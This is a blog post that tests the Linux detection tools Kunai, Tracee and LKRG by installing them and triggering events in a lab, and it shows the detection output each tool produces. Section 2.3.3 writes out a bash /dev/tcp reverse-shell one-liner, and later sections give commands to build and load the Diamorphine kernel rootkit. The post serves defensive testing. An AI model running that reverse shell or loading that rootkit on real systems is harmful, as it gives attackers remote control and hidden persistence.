1. Introduction

Happy new year! To kick off the year, I’m switching gears and putting on a defender’s hat. After all, we need to “know thy enemy”. If we don’t understand how detection systems work, we’re just making blind guesses when we try to make our exploits stealthier. That’s why we are going to explore some powerful open-source tools available today.

Linux Endpoint Detection and Response (EDR) focuses on collecting and correlating low-level system activity. For example, inspecting process execution, memory behavior, file access, and network events can help to surface malicious or suspicious behavior on Linux hosts. Instead of relying on signatures, Linux EDR provides the raw telemetry needed to understand what actually happened on a system.

This matters because effective threat hunting depends on context. By enriching raw kernel events with process trees, execution context, and behavioral patterns, Linux EDR turns isolated signals into meaningful narratives, allowing defenders to detect stealthy attacks, investigate anomalies, and validate hypotheses rather than just reacting to alerts.

In this post, we’ll look at a few open-source Linux EDR and detection projects:

  1. Kunai
  2. Tracee
  3. LKRG

2. Kunai

Kunai is a Linux-focused detection tool that leverages eBPF probes to surface security-relevant system activity. Events collected in the kernel are passed to a user-space agent, where they are enriched, correlated, and prepared for security monitoring and threat hunting workflows.

2.1 Installation

These installation instructions are meant for Ubuntu/Debian machines.

Step 1: Installing dependencies

gerald@ubuntu2404:~$ sudo apt update
gerald@ubuntu2404:~$ sudo apt install -y clang libbpf-dev

# Assuming you have rustup and cargo installed
gerald@ubuntu2404:~$ cargo install bpf-linker
Installing Kunai Dependencies

Step 2: Build Kunai from source

gerald@ubuntu2404:~$ git clone https://github.com/kunai-project/kunai.git
gerald@ubuntu2404:~$ cd kunai
gerald@ubuntu2404:~/kunai$ cargo xtask build --release
Building Kunai

Step 3: Install Kunai

gerald@ubuntu2404:~/kunai$ sudo target/x86_64-unknown-linux-gnu/release/kunai install
Installing Kunai

Step 4: Configure Kunai Event Detection

gerald@ubuntu2404:~$ sudo vim /etc/kunai/config.yaml
...
events:
  execve:
    enable: true
  execve_script:
    enable: true
...
Modify Kunai Configuration

2.2 Capabilities Overview

The capabilities of Kunai are summarized in the following table:

Category Capability What It Observes / Detects Why It Matters
Process Lifecycle Execve Binary execution Core signal for initial access and malware execution
Execve Script Script-based execution (bash, python, etc.) Catches LOLBins and script-based tradecraft
Exit Process termination Tracks short-lived or crashing processes
Exit Group Thread group termination Useful for multi-threaded malware
Clone Process / thread creation Detects forks, daemonization, process trees
Process Control & Abuse Prctl Process attribute changes Often abused for stealth or anti-debugging
Kill Signal delivery Process termination, lateral interference
Ptrace Debugger attachment Strong signal for malware, injectors, debuggers
Kernel & Privilege Abuse Init Module Kernel module loading Rootkits and kernel persistence
BPF Prog Load eBPF program loading Detects BPF-based malware or stealth tooling
BPF Socket Filter Attached BPF network filter attachment Network traffic interception
Memory Execution Mprotect Exec RW → RX memory transitions Shellcode and in-memory execution
Mmap Exec Executable memory mappings Fileless and reflective payloads
Network Activity Connect Outbound network connections C2, lateral movement
DNS Query DNS resolution events Domain-based beaconing
Send Data Data exfiltration C2 traffic and leaks
File Read Operations Read Generic file reads Recon and credential access
Read Config Configuration file reads Targeting system/app configs
File Write Operations Write Generic file writes Droppers and modifications
Write Config Config file modification Persistence and tampering
Write and Close Atomic write behavior Common malware pattern
Filesystem Changes File Create New file creation Droppers, payload staging
File Rename File movement Masquerading and evasion
File Unlink File deletion Cleanup and anti-forensics
File Scan Directory/file enumeration Reconnaissance phase
Async / Advanced I/O IO_uring SQE io_uring submission events Modern high-performance malware
Telemetry & Stability Error Internal sensor errors Sensor health visibility
Event Loss Dropped events Detection blind spots
Kunai Capability Coverage

2.3 Testing Capabilities

Is Kunai really as good as its documentation describes it to be? Let’s find out!

2.3.1 DNS Query

This example demonstrates a simple DNS query to resolve the IP address for  google.com .

gerald@ubuntu2404:~$ nslookup google.com
DNS Query Example Command

As seen from the listing below, Kunai captures a  dns_query  event corresponding to a domain resolution request for  google.com . The event records the process responsible for the lookup ( systemd-resolved ), its execution context, and the full set of IP addresses returned in the DNS response.

By preserving both the queried domain and the resolved endpoints, Kunai provides visibility into name resolution activity that often precedes outbound connections.

{
  "data": {
    "ancestors": "/usr/lib/systemd/systemd",
    "command_line": "/usr/lib/systemd/systemd-resolved",
    "exe": {
      "path": "/usr/lib/systemd/systemd-resolved"
    },
    ...
    "query": "google.com",
    "response": "74.125.130.139;74.125.130.138;74.125.130.101;74.125.130.113;74.125.130.100;74.125.130.102",
    ...
  },
  "info": {
    ...
    "event": {
      "source": "kunai",
      "id": 61,
      "name": "dns_query",
      "uuid": "97d8ceb6-e1a1-34c6-56f4-dc20f9b9577d",
      "batch": 2125
    },
    ...
    "utc_time": "2026-01-18T02:51:45.117865484Z"
  }
}
DNS Query Example Output

2.3.2 Process Debugging

This example demonstrates a debugger attaching to a running process using the  ptrace()  syscall. Debugger attachment is a high-signal event, often associated with reverse engineering, process inspection, or malicious code injection.

gerald@ubuntu2404:~$ sudo gdb -p `pidof sleep`
Process Debugging Example Command

Kunai captures a  ptrace  event where GDB attaches to an existing  sleep  process. The event records the full process ancestry leading up to the debugger invocation, the exact command used (gdb -p 6967), and both the source executable ( /usr/bin/gdb ) and the target process being traced ( /usr/bin/sleep ).

{
  "data": {
    "ancestors": "/usr/lib/systemd/systemd|/usr/lib/systemd/systemd|/usr/bin/python3.12|/usr/bin/bash|/usr/bin/sudo|/usr/bin/sudo",
    "command_line": "gdb -p 6967",
    "exe": {
      "path": "/usr/bin/gdb"
    },
    "mode": "0xa",
    "target": {
      "command_line": "sleep 10",
      "exe": {
        "path": "/usr/bin/sleep"
      },
      ...
    }
  },
  "info": {
    ...
    "event": {
      "source": "kunai",
      "id": 9,
      "name": "ptrace",
      "uuid": "547ae482-37cf-b3b7-03be-076edc0f3f9b",
      "batch": 1477
    },
    ...
    "utc_time": "2026-01-18T03:10:23.330899923Z"
  }
}
Process Debugging Example Output

2.3.3 Reverse Shell

This example demonstrates a simple reverse shell payload that connects out to our Netcat listener at  172.16.205.1:4242. 

gerald@ubuntu2404:~$ /bin/bash -l > /dev/tcp/172.16.205.1/4242 0<&1 2>&1
Reverse Shell Example Command

As shown in the listing below, Kunai captures a connect event initiated by  /bin/bash , revealing an outbound TCP connection to the Netcat listener at  172.16.205.1:4242.  The event records the full process ancestry leading to the shell execution, the executable responsible for the connection, and detailed socket metadata, including protocol, source port, and destination address.

{
  "data": {
    "ancestors": "/usr/lib/systemd/systemd|/usr/lib/systemd/systemd|/usr/bin/python3.12|/usr/bin/bash",
    "command_line": "/bin/bash",
    "exe": {
      "path": "/usr/bin/bash"
    },
    "socket": {
      "domain": "AF_INET",
      "type": "SOCK_STREAM",
      "proto": "TCP"
    },
    "src": {
      "ip": "172.16.205.15",
      "port": 50132
    },
    "dst": {
      "hostname": "?",
      "ip": "172.16.205.1",
      "port": 4242,
      "public": false,
      "is_v6": false
    },
    "community_id": "1:SU314PGEhh7ex8ppaUaGGB6uXxw=",
    "connected": true
  },
  "info": {
    ...
    "event": {
      "source": "kunai",
      "id": 60,
      "name": "connect",
      "uuid": "0f47910f-29e7-662e-24bf-c50208439702",
      "batch": 280
    },
    ...
    "utc_time": "2026-01-18T03:22:49.150574287Z"
  }
}
Reverse Shell Example Output

3. Tracee

Tracee is a Linux runtime security tool that uses eBPF to capture syscalls and process behavior in real time. Unlike Kunai’s enriched EDR approach, Tracee gives raw and low-level events, perfect for forensics, adversary simulations, and understanding exactly how attacks unfold.

3.1 Installation

Again, these installation instructions are meant for Ubuntu/Debian machines.

Step 1: Installing dependencies

gerald@ubuntu2404:~$ sudo apt-get install golang-go build-essential linux-headers-$(uname -r) clang libelf1 libelf-dev zlib1g-dev libbpf-dev
Installing Tracee Dependencies

Step 2: Build Tracee from Source

gerald@ubuntu2404:~$ git clone https://github.com/aquasecurity/tracee.git
gerald@ubuntu2404:~$ cd tracee
gerald@ubuntu2404:~/tracee$ make
Building Tracee

Step 3: Install Tracee

gerald@ubuntu2404:~/tracee$ sudo cp ./dist/tracee /usr/bin/
Installing Tracee

3.2 Capabilities Overview

The list of monitored events is extensive, so I’ll point you to the command that lets you inspect Tracee’s capabilities yourself.

gerald@ubuntu2404:~$ tracee list events
Showing Supported Tracee Events

3.3 Testing Capabilities

To test out the true capabilities of Tracee, we assume that our machine has already been compromised. Using Diamorphine as our example LKM rootkit, we shall first insert the module, before running Tracee.

gerald@ubuntu2404:~$ git clone https://github.com/m0nad/Diamorphine.git
gerald@ubuntu2404:~$ cd Diamorphine
gerald@ubuntu2404:~$ make
gerald@ubuntu2404:~$ sudo insmod diamorphine.ko
Inserting Diamorphine LKM Rootkit

3.3.1 Hidden Kernel Module

This command in the listing below instructs Tracee to subscribe specifically to the  hidden_kernel_module  event, which detects kernel modules that are present in memory but intentionally omitted from standard kernel data structures such as /proc/modules. This is a common stealth technique used by Linux kernel rootkits to evade user-space inspection tools.

gerald@ubuntu2404:~$ sudo tracee -e hidden_kernel_module
Tracee - Filter For hidden_kernel_module Events

The output shows Tracee successfully identifying a kernel module that is not visible through normal enumeration methods. In this case, the hidden module is Diamorphine, along with its kernel memory address and source version hash, providing strong attribution that a stealthy LKM is active on the system.

TIME             UID    COMM             PID     TID     EVENT                     ARGS
06:28:32:516401                          0       0       hidden_kernel_module      address: 0xffffffffc0ad1140, name: diamorphine, srcversion: 39C9AFE44143084E37251EA
Detecting Hidden Diamorphine LKM

3.3.2 Syscall Hooking

This command enables Tracee’s  syscall_hooking  detection, which monitors the system call table for unauthorized modifications. Kernel rootkits frequently hook syscalls to hide processes, files, or escalate privileges—making syscall integrity a high-value detection signal.

gerald@ubuntu2404:~$ sudo tracee -e syscall_hooking
Tracee - Filter For syscall_hooking Events

Tracee reports three syscall hooking events, corresponding to the syscalls modified by Diamorphine:  kill(),  getdents() and getdents64() . These hooks are used to hide processes, conceal files and directories, and provide a covert control channel via signals.

TIME             UID    COMM             PID     TID     EVENT                     ARGS
06:39:20:447226                          0       0       syscall_hooking           
06:39:20:447226                          0       0       syscall_hooking           
06:39:20:447226                          0       0       syscall_hooking
Detecting Syscall Hooking

4. LKRG

LKRG performs runtime integrity checking of the Linux kernel and detection of security vulnerability exploits against the kernel.

LKRG is a kernel module (not a kernel patch), so it can be built for and loaded on top of a wide range of mainline and distros’ kernels, without needing to patch those. We currently support kernel versions ranging from as far back as RHEL7’s (and its many clones/revisions) to latest mainline and distros kernels.

LKRG 1.0.0 has been tested with Linux kernels from RHEL/CentOS 7’s  3.10.0-1160  and up to Fedora’s build of  6.17.0-0.rc4.36.fc44.x86_64 .

LKRG currently supports the x86-64, 32-bit x86, AArch64 (ARM64), and 32-bit ARM CPU architectures.

4.1 Installation

Step 1: Installing dependencies

gerald@ubuntu2404:~$ sudo apt-get install make gcc gawk libelf-dev linux-headers-$(uname -r)
Installing LKRG Dependencies

Step 2: Build From Source

gerald@ubuntu2404:~$ git clone https://github.com/lkrg-org/lkrg.git
gerald@ubuntu2404:~$ cd lkrg
gerald@ubuntu2404:~/lkrg$ make -j8
Building LKRG from Source

Step 3: Testing LKM

# Insert LKM
gerald@ubuntu2404:~$ sudo insmod lkrg.ko kint_enforce=1

# Inspect the kernel logs
gerald@ubuntu2404:~$ sudo dmesg

# Remove LKM
gerald@ubuntu2404:~$ sudo rmmod lkrg
Testing LKRG

Step 4: Install LKRG to Start On Boot

gerald@ubuntu2404:~/lkrg$ make install
gerald@ubuntu2404:~/lkrg$ sudo systemctl enable lkrg
gerald@ubuntu2404:~/lkrg$ sudo systemctl start lkrg
Installing LKRG

4.2 Capabilities Overview

According to the official site:

“LKRG attempts to post-detect and hopefully promptly respond to unauthorized modifications to the running Linux kernel (integrity checking) or to credentials such as user IDs of the running processes (exploit detection). For process credentials, LKRG attempts to detect the exploit and take action before the kernel would grant access (such as open a file) based on the unauthorized credentials.”

4.3 Testing Capabilities

To validate LKRG’s post-detection claims, we first disable the LKRG kernel module to simulate an unprotected system state before introducing a stealthy kernel rootkit.

gerald@ubuntu2404:~$ sudo systemctl stop lkrg
Stop LKRG Service

With LKRG inactive, we load the Diamorphine LKM, which employs multiple stealth techniques to hide its presence from standard kernel visibility mechanisms.

gerald@ubuntu2404:~$ sudo insmod ~/Diamorphine/diamorphine.ko
Load Diamorphine Rootkit

Once the malicious module is resident in memory, LKRG is re-enabled to assess whether it can retrospectively detect kernel integrity violations introduced while it was offline.

gerald@ubuntu2404:~$ sudo systemctl start lkrg
Start LKRG Service

Finally, we monitor the kernel ring buffer in real time to observe LKRG’s detection output and alerting behavior.

gerald@ubuntu2404:~$ sudo dmesg -w
...
[  126.839032] LKRG: ALERT: DETECT: Kernel: Found 1 fewer modules in module list (71) than in KOBJ (72), maybe hidden module name diamorphine
[  126.839046] LKRG: ALERT: DETECT: Kernel: 1 checksums changed unexpectedly
Detecting Diamorphine Rootkit

5. Conclusion

From a threat hunter’s perspective, Linux EDR provides the kernel-level visibility needed to reconstruct attacker behavior through process, syscall, and network context. For red teamers, tools like Kunai and Tracee clearly define what tradecraft is observable and where stealth breaks down.

Tracee and LKRG demonstrate that even kernel rootkits and syscall tampering leave detectable integrity and behavioral signals.

Ultimately, modern Linux security is no longer about hiding single actions, but about surviving continuous, low-level scrutiny.

I hope you learned something meaningful today, and I hope to see you in the next one. Take care!

6. References

  1. LKRG Project: https://lkrg.org/
  2. LKRG GitHub Repository: https://github.com/lkrg-org/lkrg
  3. Kunai Project: https://github.com/kunai-project/kunai
  4. Tracee Project: https://github.com/aquasecurity/tracee
  5. Diamorphine LKM Rootkit: https://github.com/m0nad/Diamorphine
  6. Linux eBPF Documentation: https://www.kernel.org/doc/html/latest/bpf/
  7. Aqua Security: Tracee Overview: https://aquasecurity.github.io/tracee/